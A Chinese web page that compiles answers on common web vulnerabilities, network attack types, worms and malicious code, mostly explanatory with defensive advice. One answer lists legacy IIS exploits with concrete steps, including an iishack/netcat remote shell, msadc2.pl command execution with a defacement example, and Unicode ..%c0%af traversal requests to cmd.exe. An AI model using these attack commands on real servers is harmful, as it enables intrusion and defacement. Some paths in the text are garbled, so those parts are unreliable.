Web应用常见的安全漏洞有哪些？
Web应用常见的安全漏洞：
1、SQL注入
注入是一个安全漏洞，允许攻击者通过操纵用户提供的数据来更改后端SQL语句。 当用户输入作为命令或查询的一部分被发送到解释器并且欺骗解释器执行非预期的命令并且允许访问未授权的数据时，发生注入。
2、跨站脚本攻击 （XSS）
XSS漏洞针对嵌入在客户端（即用户浏览器而不是服务器端）的页面中嵌入的脚本。当应用程序获取不受信任的数据并将其发送到Web浏览器而未经适当验证时，可能会出现这些缺陷。
3、跨站点请求伪造
CSRF攻击是指恶意网站，电子邮件或程序导致用户的浏览器在用户当前已对其进行身份验证的受信任站点上执行不需要的操作时发生的攻击。
4、无法限制URL访问
Web应用程序在呈现受保护的链接和按钮之前检查URL访问权限 每次访问这些页面时，应用程序都需要执行类似的访问控制检查。 通过智能猜测，攻击者可以访问权限页面。攻击者可以访问敏感页面，调用函数和查看机密信息。
5、不安全的加密存储
不安全的加密存储是一种常见的漏洞，在敏感数据未安全存储时存在。 用户凭据，配置文件信息，健康详细信息，信用卡信息等属于网站上的敏感数据信息。
扩展资料
web应用漏洞发生的市场背景：
由于Web服务器提供了几种不同的方式将请求转发给应用服务器，并将修改过的或新的网页发回给最终用户，这使得非法闯入网络变得更加容易。
许多程序员不知道如何开发安全的应用程序。他们的经验也许是开发独立应用程序或Intranet Web应用程序，这些应用程序没有考虑到在安全缺陷被利用时可能会出现灾难性后果。
许多Web应用程序容易受到通过服务器、应用程序和内部已开发的代码进行的攻击。这些攻击行动直接通过了周边防火墙安全措施，因为端口80或443（SSL，安全套接字协议层）必须开放，以便让应用程序正常运行。
参考资料来源：百度百科-WEB安全漏洞
参考资料来源：百度百科-Web安全
常见的网络攻击方式有哪些？
1、跨站脚本-XSS
相关研究表明，跨站脚本攻击大约占据了所有攻击的40%，是最为常见的一类网络攻击。但尽管最为常见，大部分跨站脚本攻击却不是特别高端，多为业余网络罪犯使用别人编写的脚本发起的。
跨站脚本针对的是网站的用户，而不是Web应用本身。恶意黑客在有漏洞的网站里注入一段代码，然后网站访客执行这段代码。此类代码可以入侵用户账户，激活木马程序，或者修改网站内容，诱骗用户给出私人信息。
防御方法：设置Web应用防火墙可以保护网站不受跨站脚本攻击危害。WAF就像个过滤器，能够识别并阻止对网站的恶意请求。购买网站托管服务的时候，Web托管公司通常已经为你的网站部署了WAF，但你自己仍然可以再设一个。
2、注入攻击
开放Web应用安全项目新出炉的十大应用安全风险研究中，注入漏洞被列为网站最高风险因素。SQL注入方法是网络罪犯最常见的注入方法。
注入攻击方法直接针对网站和服务器的数据库。执行时，攻击者注入一段能够揭示隐藏数据和用户输入的代码，获得数据修改权限，全面俘获应用。
防御方法：保护网站不受注入攻击危害，主要落实到代码库构建上。比如说：缓解SQL注入风险的首选方法就是始终尽量采用参数化语句。更进一步，可以考虑使用第三方身份验证工作流来外包你的数据库防护。
3、模糊测试
开发人员使用模糊测试来查找软件、操作系统或网络中的编程错误和安全漏洞。然而，攻击者可以使用同样的技术来寻找你网站或服务器上的漏洞。
采用模糊测试方法，攻击者首先向应用输入大量随机数据让应用崩溃。下一步就是用模糊测试工具发现应用的弱点，如果目标应用中存在漏洞，攻击者即可展开进一步漏洞利用。
防御方法：对抗模糊攻击的最佳方法就是保持更新安全设置和其他应用，尤其是在安全补丁发布后不更新就会遭遇恶意黑客利用漏洞的情况下。
4、零日攻击
零日攻击是模糊攻击的扩展，但不要求识别漏洞本身。此类攻击最近的案例是谷歌发现的，在Windows和chrome软件中发现了潜在的零日攻击。
在两种情况下，恶意黑客能够从零日攻击中获利。第一种情况是：如果能够获得关于即将到来的安全更新的信息，攻击者就可以在更新上线前分析出漏洞的位置。第二种情况是：网络罪犯获取补丁信息，然后攻击尚未更新系统的用户。这两种情况，系统安全都会遭到破坏，至于后续影响程度，就取决于黑客的技术了。
防御方法：保护自己和自身网站不受零日攻击影响最简便的方法，就是在新版本发布后及时更新你的软件。
5、路径(目录)遍历
路径遍历攻击针对Web
root文件夹，访问目标文件夹外部的未授权文件或目录。攻击者试图将移动模式注入服务器目录，以便向上爬升。成功的路径遍历攻击能够获得网站访问权，染指配置文件、数据库和同一实体服务器上的其他网站和文件。
防御方法：网站能否抵御路径遍历攻击取决于你的输入净化程度。这意味着保证用户输入安全，并且不能从你的服务器恢复出用户输入内容。最直观的建议就是打造你的代码库，这样用户的任何信息都不会传输到文件系统API。即使这条路走不通，也有其他技术解决方案可用。
常见的网络漏洞有哪些
你说的漏洞比较广，是软件漏洞还是系统 系统漏洞还有server漏洞还有iis漏洞 我就和你说说iis漏洞吧。1. iis4hack缓冲溢出
主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到下面 的站点去下载，另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下，然后使用iishack.exe来检查目标机器：
c:iishack.exe victim 80 your web server/ncx.exe
然后你就使用netcat来连接你要检测的服务器：
c:nc victim 80
如果溢出点正确你就可以看到目标机器的命令行提示，并且是管理远权限。利用程序见iis4hack.zip
2.msadc
IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory，默认情况下， 它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl，我们看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h host { -d delay -X -v }
-h host = host you want to scan (ip or domain)
-d seconds = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u \hostsharefile = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s number = run only step number
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出现cmd /c后，直接键入命令行，就可以以system权限执行命令了。比如xundi教的：
echo hacked by me d:inetpubwwwrootvictimwebindex.htm
3.Codebrws.asp
察看文件源代码
4.Showcode.asp
察看文件源代码
5.Null.htw
察看文件源代码
;%20CiRestriction=none%20%20CiHiliteType=full
6.webhits.dll .htw
hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted（突出）他们原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序 来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：
如果你从服务器端获得如下信息：
format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消
这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
一个攻击者可以使用如下的方法来访问系统中文件的内容：
?
ciwebhitsfile=/../../winnt/win.inicirestriction=nonecihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容，你可以请求如下的URL： 你就得到了源代码
8.ASP Dot Bug
在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。
.
9.ISM.DLL
这个漏洞是由Cerberus Information Security team.最早发现的，它运行在IIS4.0和5.0上面，允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS，会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL 程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过，否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题，可以进行多次攻击。
(...=230)global.asa.htr
10. .idc .ida Bugs
这个漏洞实际上类似ASP dot 漏洞，其能在IIS4.0上显示其WEB目录信息，很奇怪的说有些还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果此.idc不存在，它就返回一些信息给客户端。
或者 anything.idq
11.+.htr Bug
对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：
12.NT Site Server Adsamples
通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者 可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：
13./iisadmpwd
IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个 .htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制 在loopback addr(127.0.0.1)，请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下：
c:winntsystem32inetsrviisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样，攻击者可以通过暴力来猜测你的密码。
14.Translate:f Bug
泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中， 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，所以在IIS4.0上也有这个漏洞。利用程序: trasn1.pl,trans2.pl
15.Unicode
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊 的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。
可能需要察看以下几个目录
GET
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
eeye开发了工具包iishack1.5针对这一漏洞进行测试
16.iis5.0 缓冲溢出
微软Win 2K IIS
5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系，缺省情况下该映射存在。当远程用户提交对.printer的URL请求时，IIS
5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查，远程用户可以提交一个精心构造的针对.printer的URL请求，其"Host:"域包含大约420字节的数据，此时在msw3prt.dll中发生典型的缓冲区溢出，潜在允许执行任意代码。溢出发生后，WEB服务停止响应，Win 2K可以检查到WEB服务停止响应，从而自动重启它，因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip
17.IIS CGI文件名二次解码漏洞
IIS在加载可执行CGI程序时，会进行两次解码。第一次解码是对CGI文件名进行http解码，然后判断此文件名是否为可执行文件，例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后，IIS会再进行第二次解码。正常情况下，应该只对该CGI的参数进行解码，然而，IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样，CGI文件名就被错误地解码了两次。
通过精心构造CGI文件名，攻击者可以绕过IIS对文件名所作的安全检查，例如对"../"或"./"的检查，在某些条件下，攻击者可以执行任意系统命令。
例如，对于’’这个字符，正常编码后是%5c。这三个字符对应的编码为：
’%’ = %25
’5’ = %35
’c’ = %63
如果要对这三个字符再做一次编码，就可以有多种形式，例如：
%255c
%%35c
%%35%63
%25%35%63
...
因此，".."就可以表示成"..%255c"或"..%%35c"等等形式。在经过第一次解码之后，变成"..%5c"。IIS会认为这是一个正常的字符串，不会违反安全规则检查。而在第二次被解码之后，就会变成".."。因此攻击者就可以使用".."来进行目录遍历，执行web目录之外的任意程序。 好了 先到这里。。。。漏洞太多了不过还是微软系统排第一的 一个是使用的人群广 一个是XXX 哈哈哈
网络蠕虫病毒代码分析
蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其
他的计算机系统中(通常是经过网络连接)。请注意，与一般病毒不同，蠕虫不需要将其自身附着到宿主程序，有两种类型的蠕虫：主机蠕虫与网络蠕虫。主计算机蠕虫完全包含在它们运行的计算机中，并且使用网络的连接仅将自身拷贝到其他的计算机中，主计算机蠕虫在将其自身的拷贝加入到另外的主机后，就会终止它自身(因此在任意给定的时刻，只有一个蠕虫的拷贝运行)，这种蠕虫有时也叫"野兔"，蠕虫病毒一般是通过1434端口漏洞传播。
比如近几年危害很大的“尼姆亚”病毒就是蠕虫病毒的一种，2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。这一病毒利用了微软视窗操作系统的漏洞，计算机感染这一病毒后，会不断自动拨号上网，并利用文件中的地址信息或者网络共享进行传播，最终破坏用户的大部分重要数据。蠕虫病毒的一般防治方法是：使用具有实时监控功能的杀毒软件，并且注意不要轻易打开不熟悉的邮件附件。
形成原因利用漏洞主动进行攻击
此类病毒主要是“红色代码”和“尼姆亚”，以及至今依然肆虐的“求职信”等。由于IE浏览器的漏洞（IFRAMEEXECCOMMAND），使得感染了“尼姆亚”病毒的邮件在不去手工打开附件的情况下病毒就能激活，而此前即便是很多防病毒专家也一直认为，带有病毒附件的邮件，只要不去打开附件，病毒不会有危害。“红色代码”是利用了微软IIS服务器软件的漏洞(idq.dll远程缓存区溢出)来传播，SQL蠕虫王病毒则是利用了微软的数据库系统的一个漏洞进行大肆攻击。
传播方式多样
如“尼姆亚”病毒和”求职信”病毒，可利用的传播途径包括文件、电子邮件、Web服务器、网络共享等等。
病毒制作技术新
与传统的病毒不同的是，许多新病毒是利用当前最新的编程语言与编程技术实现的，易于修改以产生新的变种，从而逃避反病毒软件的搜索。另外，新病毒利用Java、ActiveX、VBScript等技术，可以潜伏在HTML页面里，在上网浏览时触发。
常见的恶意代码有哪些
最常见的恶意代码有计算机病毒（简称病毒）、特洛伊木马（简称木马）、计算机蠕虫（简称蠕虫）、后门、逻辑炸弹等。
恶意代码又称恶意软件。是指在未明确提示用户或未经用户许可的情况下，在用户计算机或其他终端上安装运行，侵犯用户合法权益的软件。与病毒或蠕虫不同，这些软件很多不是小团体或者个人秘密地编写和散播，反而有很多知名企业和团体涉嫌此类软件。有时也称作流氓软件。
恶意代码编写者一般利用三类手段来传播恶意代码：软件漏洞、用户本身或者两者的混合。有些恶意代码是自启动的蠕虫和嵌入脚本，本身就是软件，这类恶意代码对人的活动没有要求。
恶意代码的传播方式在迅速地演化，从引导区传播，到某种类型文件传播，到宏病毒传播，到邮件传播，到网络传播，发作和流行的时间越来越短。
盘点信息安全常见的Web漏洞
一、SQL注入漏洞
SQL 注入攻击（ SQL Injection ），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
通常情况下， SQL 注入的位置包括：
（1）表单提交，主要是POST 请求，也包括GET 请求；
（2）URL 参数提交，主要为GET 请求参数；
（3）Cookie 参数提交；
（4）HTTP 请求头部的一些可修改的值，比如Referer 、User_Agent 等；
（5）一些边缘的输入点，比如.mp3 文件的一些文件信息等。
SQL注入的危害不仅体现在数据库层面上， 还有可能危及承载数据库的操作系统；如果SQL 注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不局限于：
（1）数据库信息泄漏：数据库中存放的用户的隐私信息的泄露。作为数据的存储中心，数据库里往往保存着各类的隐私信息， SQL 注入攻击能导致这些隐私信息透明于攻击者。
（2）网页篡改：通过操作数据库对特定网页进行篡改。
（3）网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击。
（4）数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被篡改。
（5）服务器被远程控制，被安装后门。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。
（6）破坏硬盘数据，瘫痪全系统。
二、跨站脚本漏洞
跨站脚本攻击（Cross-site scripting，通常简称为XSS）发生在客户端，可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。
XSS攻击使用到的技术主要为HTML和Javascript，也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害，但是它借助网站进行传播，使网站的使用用户受到攻击，导致网站用户帐号被窃取，从而对网站也产生了较严重的危害。
XSS类型包括：
（1）非持久型跨站：即反射型跨站脚本漏洞，是目前最普遍的跨站类型。跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码不存储到服务端（比如数据库中）。上面章节所举的例子就是这类情况。 （2）持久型跨站：这是危害最直接的跨站类型，跨站代码存储于服务端（比如数据库中）。常见情况是某用户在论坛发贴，如果论坛没有过滤用户输入的Javascript代码数据，就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。 （3）DOM跨站（DOM XSS）：是一种发生在客户端DOM（Document Object Model文档对象模型）中的跨站漏洞，很大原因是因为客户端脚本处理逻辑导致的安全问题。
三、弱口令漏洞
弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则：
（1）不使用空口令或系统缺省的口令，这些口令众所周知，为典型的弱口令。
（2）口令长度不小于8个字符。
（3）口令不应该为连续的某个字符（例如：AAAAAAAA）或重复某些字符的组合（例如：tzf.tzf.）。
（4）口令应该为以下四类字符的组合，大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个，那么该字符不应为首字符或尾字符。
（5）口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息，以及字典中的单词。
（6）口令不应该为用数字或符号代替某些字母的单词。
（7）口令应该易记且可以快速输入，防止他人从你身后很容易看到你的输入。
（8）至少90天内更换一次口令，防止未被发现的入侵者继续使用该口令。
四、HTTP报头追踪漏洞
HTTP/1.1（RFC2616）规范定义了HTTP TRACE方法，主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中HTTP头很可能包括Session Token、Cookies或其它认证信息。
攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE请求可以通过客户浏览器脚本发起（如XMLHttpRequest），并可以通过DOM接口来访问，因此很容易被攻击者利用。
五、Struts2远程命令执行漏洞
ApacheStruts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误，如果遇到转换错误可被利用注入和执行任意Java代码。 网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架，由于该软件存在远程代码执高危漏洞，导致网站面临安全风险。
六、文件上传漏洞
文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过Web访问的目录上传任意文件，包括网站后门文件（ webshell ），进而远程控制网站服务器。因此，在开发网站及应用程序过程中，需严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell攻击。
七、私有IP地址泄露漏洞
IP地址是网络用户的重要标示，是攻击者进行攻击前需要了解的。获取的方法较多，攻击者也会因不同的网络情况采取不同的方法，如：在局域网内使用Ping指令， Ping对方在网络中的名称而获得IP；在Internet上使用IP版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP 包头信息，再根据这些信息了解具体的IP。
针对最有效的“数据包分析方法”而言，就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点， 譬如：耗费资源严重，降低计算机性能；访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。
现在的个人用户采用最普及隐藏IP 的方法应该是使用代理，由于使用代理服务器后，“转址服务”会对发送出去的数据包有所修改，致使“数据包分析”的方法失效。一些容易泄漏用户IP 的网络软件(QQ 、MSN 、IE 等)都支持使用代理方式连接Internet ，特别是QQ 使用“ ezProxy ”等代理软件连接后， IP版的QQ都无法显示该IP地址。虽然代理可以有效地隐藏用户IP，但攻击者亦可以绕过代理， 查找到对方的真实IP地址，用户在何种情况下使用何种方法隐藏IP，也要因情况而论。
八、未加密登录请求
由于Web 配置不安全， 登陆请求把诸如用户名和密码等敏感字段未加密进行传输，攻击者可以窃听网络以劫获这些敏感信息。
九、敏感信息泄露漏洞
SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露，攻击者可以通过漏洞获得敏感信息。
Web应用漏洞原理
Web应用攻击是攻击者通过浏览器或攻击工具，在URL或者其它输入区域（如表单等），向Web服务器发送特殊请求，从中发现Web应用程序存在的漏洞，从而进一步操纵和控制网站，查看、修改未授权的信息。
0条大神的评论